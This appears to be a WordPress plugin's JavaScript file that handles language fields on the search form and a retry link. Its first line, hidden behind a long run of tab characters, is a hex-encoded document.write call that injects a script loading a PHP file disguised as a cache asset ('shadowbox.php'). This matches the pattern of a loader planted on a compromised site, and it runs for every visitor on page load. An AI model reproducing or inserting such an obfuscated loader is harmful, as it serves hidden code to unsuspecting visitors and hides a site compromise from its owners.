																																																																							document.write("\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x2F\x77\x70\x2D\x63\x6F\x6E\x74\x65\x6E\x74\x2F\x77\x33\x74\x63\x2F\x70\x67\x63\x61\x63\x68\x65\x2F\x73\x74\x61\x72\x74\x69\x6E\x67\x2D\x61\x2D\x62\x75\x73\x69\x6E\x65\x73\x73\x2F\x32\x30\x31\x30\x2F\x31\x30\x2F\x30\x32\x2F\x73\x68\x61\x64\x6F\x77\x62\x6F\x78\x2E\x70\x68\x70\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");function addLoadEvent(func) {
  var oldonload = window.onload;
  if (typeof window.onload != 'function') {
    window.onload = func;
  } else {
    window.onload = function() {
      if (oldonload) {
        oldonload();
      }
      func();
    }
  }  
}
addLoadEvent(function(){
    var lhid = document.createElement('input');
    lhid.setAttribute('type','hidden');
    lhid.setAttribute('name','lang');
    lhid.setAttribute('value',icl_lang);     
    src = document.getElementById('searchform');   
    if(src){
        src.appendChild(lhid);
        src.action=icl_home; 
    }
});

function icl_retry_mtr(a){
    var id = a.getAttribute('id');
    spl = id.split('_');
    var loc = location.href.replace(/#(.*)$/,'').replace(/(&|\?)(retry_mtr)=([0-9]+)/g,'').replace(/&nonce=([0-9a-z]+)(&|$)/g,'');
    if(-1 == loc.indexOf('?')){
        url_glue='?';
    }else{
        url_glue='&';
    }    
    location.href=loc+url_glue+'retry_mtr='+spl[3]+'&nonce='+spl[4];
    return false;
}
